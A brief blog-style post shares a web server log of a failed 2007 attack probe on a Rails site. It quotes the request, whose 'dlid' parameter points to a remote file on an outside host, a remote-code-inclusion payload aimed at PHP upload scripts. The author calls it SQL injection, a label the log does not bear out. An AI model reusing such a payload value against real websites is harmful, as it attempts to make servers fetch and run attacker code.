I was looking at my logs and someone try sql injection on my website.
Security Focus has details about this. On 2007-09-07 three different Ip addresses try the same php attack.
Processing ApplicationController#index (for (87.106.14.15|212.227.60.6|208.68.174.90) at 2007-09-07 07:54:24) [GET]
Session ID: 517a206687ecc08856c07a988d9d1171
Parameters: {"dlid"=>"http://www.thebarnraisers.com/xpl/safe.txt?", "url"=>nil}
ActionController::RoutingError (no route found to match "//UPLOAD/index.php" with {:method=>:get}):
My website might not have a lot of features or is stupid easy to use, but it also does not have php exploits.